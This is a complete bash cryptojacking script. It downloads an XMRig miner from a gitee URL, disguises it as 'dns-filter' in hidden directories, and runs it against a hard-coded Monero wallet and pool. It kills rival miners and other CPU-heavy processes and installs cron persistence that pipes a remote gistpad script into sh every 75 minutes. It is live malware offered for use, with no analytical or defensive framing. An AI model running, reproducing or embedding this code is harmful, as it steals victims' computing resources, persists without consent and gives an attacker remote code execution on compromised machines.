#!/bin/bash

for file in \
    "${HOME_1}/systemdev/dns-filter" \
    /usr/lib/systemdev/dns-filter \
    /usr/lib/dev/systemdev/dns-filter
do
    [ -f "$file" ] && rm -f "$file"
done



CUSTOM_ARG="${1:-x}"

external_ip=$(wget -qO- ipv4.icanhazip.com 2>/dev/null \
           || curl -s ipv4.icanhazip.com 2>/dev/null)
IDOFPC=$(echo "$external_ip" | sed 's/\./-/g' | cut -c -6)



if systemctl is-active --quiet systemd_s; then
    systemctl stop systemd_s
fi


kill_mf2() {
  local dry=0; [[ "${1:-}" == "--dry-run" ]] && dry=1
  local -a pids=() p

  # Collect 
  while IFS= read -r line; do
    p="${line%% *}"; [[ -n "$p" ]] && pids+=("$p")
  done < <(ps -eo pid=,args= 2>/dev/null \
           | grep -E '/tmp/\.[A-Za-z0-9_-]+-[0-9]+ + -c +/tmp/\.[A-Za-z0-9_-]+-[0-9]+|/var/tmp/\.resolved_bridge|/var/tmp/\.[A-Za-z0-9_-]+' \
           | grep -v grep \
           | grep -v 'goAwgBCFH' \
           | awk '{print $1}')

  # de-dup
  local -a u=() s=""; for p in "${pids[@]+"${pids[@]}"}"; do
    [[ " $s " != *" $p "* ]] && u+=("$p") && s+=" $p "
  done; pids=("${u[@]+"${u[@]}"}")

  [[ ${#pids[@]} -eq 0 ]] && return 0

  # Resolve & collect parent PIDs (PPID column 3 from ps -eo pid,ppid,args)
  local -a kill_list=("${pids[@]+"${pids[@]}"}")
  local ppid_line ppid
  for p in "${pids[@]+"${pids[@]}"}"; do
    ppid_line=$(ps -o ppid= -p "$p" 2>/dev/null | tr -d ' ')
    [[ -n "$ppid_line" && "$ppid_line" != "0" && "$ppid_line" != "1" ]] && {
      # exclude parents whose args contain BCBCBCC
      local parent_args
      parent_args=$(ps -o args= -p "$ppid_line" 2>/dev/null)
      [[ "$parent_args" != *"BCBCBCC"* ]] && kill_list+=("$ppid_line")
    }
  done

  # de-dup kill_list (children + parents)
  local -a final=(); s=""
  for p in "${kill_list[@]+"${kill_list[@]}"}"; do
    [[ " $s " != *" $p "* ]] && final+=("$p") && s+=" $p "
  done

  echo "[malware] ${#final[@]} process(es) found (children + parents):" 1>&2
  for p in "${final[@]+"${final[@]}"}"; do
    ps -o pid=,ppid=,user=,args= -p "$p" 2>/dev/null | sed 's/^/  /' 1>&2
  done

  [[ $dry -eq 1 ]] && { echo "[malware] dry-run, skipping kill" 1>&2; return 0; }

  # Kill parents FIRST so they can't respawn children, then children
  local parents_only=()
  for p in "${final[@]+"${final[@]}"}"; do
    local is_child=0
    for c in "${pids[@]+"${pids[@]}"}"; do
      [[ "$p" == "$c" ]] && { is_child=1; break; }
    done
    [[ $is_child -eq 0 ]] && parents_only+=("$p")
  done

  for p in "${parents_only[@]+"${parents_only[@]}"}"; do kill -TERM "$p" 2>/dev/null; done
  sleep 1
  for p in "${pids[@]+"${pids[@]}"}"; do kill -TERM "$p" 2>/dev/null; done
  sleep 2

  local alive=0
  for p in "${final[@]+"${final[@]}"}"; do
    if kill -0 "$p" 2>/dev/null; then kill -KILL "$p" 2>/dev/null; fi
    kill -0 "$p" 2>/dev/null && alive=$((alive+1))
  done
  echo "[malware] killed, survivors: $alive" 1>&2
  return "$alive"
}


kill_themf() {
    (
        set +e

        local threshold=7
        local exclude_pattern="goAwgBCFH"

        for proc in /proc/[0-9]*; do
            [[ -r "$proc/status" ]] || continue

            local pid="${proc#/proc/}"

            # Exclude trusted process
            local cmdline
            cmdline=$(tr '\0' ' ' < "$proc/cmdline" 2>/dev/null)

            [[ "$cmdline" == *"$exclude_pattern"* ]] && continue

            local score=0

            local name uid user exe rss ppid zombies state

            name=$(awk '/^Name:/ {print $2}' "$proc/status")
            uid=$(awk '/^Uid:/ {print $2}' "$proc/status")
            state=$(awk '/^State:/ {print $2}' "$proc/status")
            ppid=$(awk '/^PPid:/ {print $2}' "$proc/status")
            rss=$(awk '/^VmRSS:/ {print $2}' "$proc/status")
            rss=${rss:-0}
            exe=$(readlink -f "$proc/exe" 2>/dev/null)

            [[ -n "$exe" ]] && ((score++))

            (( rss > 500000 )) && ((score += 2))
            (( rss > 1000000 )) && ((score += 3))

            zombies=$(ps --no-headers --ppid "$pid" -o stat 2>/dev/null | grep -c '^Z')
            (( zombies >= 5 )) && ((score += 3))
            (( zombies >= 20 )) && ((score += 2))

            user=$(id -nu "$uid" 2>/dev/null)

            [[ "$user" != root && "$state" == S* ]] && ((score++))

            case "$exe" in
                /tmp/*|/var/tmp/*|/dev/shm/*|\
                "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
                    ((score += 4))
                    ;;
            esac

            [[ -d "/proc/$ppid" ]] || ((score++))

            if (( score >= threshold )); then
                echo "[+] Killing PID=$pid score=$score name=$name exe=$exe"
                kill -9 "$pid" 2>/dev/null
            fi
        done
    )

    return 0
}

kill_themf
kill_mf2


kill_high_cpu_processes() {
    local threshold=150.0
    local exclude_patterns=("pattern2reserve333" "goAwgBCFH")   
    local pid cpu cmdline

    ps -eo pid,%cpu --sort=-%cpu \
        | awk -v threshold="$threshold" 'NR>1 && $2 > threshold {print $1}' \
        | while read -r pid; do

            if [ -f "/proc/$pid/cmdline" ]; then
                cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline")
            else
                echo "PID $pid died before inspection"
                continue
            fi

            for pattern in "${exclude_patterns[@]}"; do
                if [[ "$cmdline" == *"$pattern"* ]]; then
                    echo "Excluding PID $pid (matched '$pattern')"
                    continue 2
                fi
            done

            if kill -9 "$pid" 2>/dev/null; then
                echo "Killed PID $pid"
            else
                echo "Failed to kill PID $pid (already dead or permission denied)"
            fi
        done
}

kill_high_cpu_processes




_sfx_path() {
    if [ "$(id -u)" -eq 0 ]; then
        printf '/var/lib/.sysconf_id'
    else
        printf '%s/.cache/.sysid' "${HOME:-/tmp}"
    fi
}

_load_or_gen_sfx() {
    local _f _s
    _f=$(_sfx_path)

    if [ -f "$_f" ] && [ -s "$_f" ]; then
        cat "$_f"
        return
    fi

    _s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
    [ -z "$_s" ] && _s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')

    mkdir -p "$(dirname "$_f")" 2>/dev/null
    printf '%s' "$_s" >"$_f" 2>/dev/null
    printf '%s' "$_s"
}

_SFX=$(_load_or_gen_sfx)

if [ "$(id -u)" -eq 0 ]; then
    HOME_1="/usr_${_SFX}/lib/dev"
    user_type="root"

    if ! command -v cron >/dev/null 2>&1; then
        echo "Installing cron..."
        if   command -v apt-get >/dev/null 2>&1; then apt-get update && apt-get install -y cron
        elif command -v yum     >/dev/null 2>&1; then yum install -y cronie
        else echo "No package manager found for cron install"
        fi
    fi
else
    HOME_1="${HOME:-/tmp}/.usr_${_SFX}/lib"
    user_type="user"
fi


program_file="$HOME_1/systemdev/dns-filter"

mkdir -p "${HOME_1}/systemdev"
URL_PPP="xmr.kryptex.network:8029"
WWWL="883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH"
XMUUUU="https://gitee.com/albertotrindade131_png/xmrig/raw/main/xmrig"
XMUUUUarm64="https://gitee.com/albertotrindade131_png/xmrig/raw/main/xmrig-aarch64-static"

# Pick the right URL based on the CPU architecture
get_arch_url() {
    local arch
    arch="$(uname -m 2>/dev/null || echo unknown)"
    case "$arch" in
        x86_64|amd64)        printf '%s' "$XMUUUU" ;;
        aarch64|arm64|armv8l) printf '%s' "$XMUUUUarm64" ;;
        *)
            echo "Unknown architecture: $arch — defaulting to amd64" >&2
            printf '%s' "$XMUUUU"
            ;;
    esac
}

check_existing_process() {
    local existing_pid
    existing_pid="$(pgrep -f "goAwgBCFH" 2>/dev/null | head -1)"

    if [ -n "$existing_pid" ]; then
        echo "Detected existing process (PID $existing_pid), inspecting CPU usage..."
        local cpu_usage
        cpu_usage="$(ps -p "$existing_pid" -o %cpu= 2>/dev/null | tr -d ' ')"
        cpu_usage="${cpu_usage:-0}"
        local cpu_int="${cpu_usage%.*}"
        cpu_int="${cpu_int:-0}"

        if [ "$cpu_int" -gt 0 ]; then
            echo "Existing process is active (CPU ${cpu_usage}%), skipping launch."
            return 1
        else
            echo "Existing process is idle (CPU 0%), killing and relaunching..."
            kill -9 "$existing_pid" 2>/dev/null
            sleep 1
        fi
    fi
    return 0
}

run_program() {
    local executable="$program_file"
    local fallback_executable="${HOME_1}/dns-filter"

    launch_program() {
        nohup "$@" >/dev/null 2>&1 &
        local pid=$!
        sleep 0.5
        ps -p "$pid" >/dev/null 2>&1 || return 1
        sleep 4.5
        ps -p "$pid" >/dev/null 2>&1
    }

    download_fallback() {
        local url
        url="$(get_arch_url)"
        rm -f "$fallback_executable"
        if   command -v curl >/dev/null 2>&1; then
            curl -k -fL -o "$fallback_executable" "$url" || return 1
        elif command -v wget >/dev/null 2>&1; then
            wget -qO "$fallback_executable" "$url" || return 1
        else
            echo "No download tool available" >&2; return 1
        fi
        chmod +x "$fallback_executable"
    }

    echo "Starting primary programmmmm..."
    if [ -x "$executable" ]; then
        if launch_program "$executable" -o "$URL_PPP" -u "$WWWL" -k --tls -p "$CUSTOM_ARG"; then
            echo "Primary programmmmm running (PID $!)"
            return 0
        else
            echo "Primary programmmmm crashed immediately"
        fi
    else
        echo "Primary programmmmm binary not found/executable"
    fi

    echo "Attempting fallback download..."
    if download_fallback && launch_program "$fallback_executable" -o "$URL_PPP" -u "$WWWL" --tls -p "$CUSTOM_ARG"; then
        echo "Fallback programmmmm running (PID $!)"
    else
        echo "Warning: All startup attempts failed"
    fi

    return 0
}


if [ -e "$program_file" ]; then
    echo "programmmmm binary already present at: $program_file"
    if check_existing_process; then
        run_program
    fi
else
    echo "Downloading programmmmm binary..."
    arch_url="$(get_arch_url)"
    if   command -v wget  &>/dev/null; then
        wget  -qO "$HOME_1/systemdev/yes.tar.xz" "$arch_url"
    elif command -v curl  &>/dev/null; then
        curl -k -L -o "$HOME_1/systemdev/yes.tar.xz" "$arch_url"
    else
        echo "Error: neither wget nor curl available."; exit 1
    fi

    mv "$HOME_1/systemdev/yes.tar.xz" "$program_file"
    rm -rf "$HOME_1/systemdev/xrrrrr"
    chmod +x "$program_file"

    if [ -x "$program_file" ]; then
        echo "programmmmm installed at: $program_file"
        if check_existing_process; then
            run_program
        fi
    else
        echo "Error: install failed at $program_file"
        echo "Machine: ($external_ip) - $user_type"
    fi
fi


create_cronjob() {
    local url="$1"
    local cron_command

    if   command -v curl >/dev/null; then
        cron_command="/bin/sh -c 'curl -fsSLk $url | tr -d '\''\r'\'' | /bin/sh'"
    elif command -v wget >/dev/null; then
        cron_command="/bin/sh -c 'wget -qO- $url | tr -d '\''\r'\'' | /bin/sh'"
    else
        echo "Error: cannot create cron job."; return 1
    fi

    # Adds entry, deduplicating by URL first
    (crontab -l 2>/dev/null | grep -vF "$url"; echo "*/75 * * * * $cron_command") | crontab -
    echo "Cron persistence installed."
}

create_cronjob "https://gistpad.com/raw/ghmiklagh-5"



rm -f /tmp/mon.sh
rm -f /tmp/run.sh



delete_systemd_mon_file() {
    if [ "$(id -u)" -eq 0 ]; then
        file_path="/usr/lib/systemdev/dns-filter"
    else
        file_path="/tmp/usr/lib/systemdev/dns-filter"
    fi

    if [ -e "$file_path" ]; then
        rm "$file_path"
        echo "File deleted: $file_path"
    else
        echo "File does not exist: $file_path"
    fi
}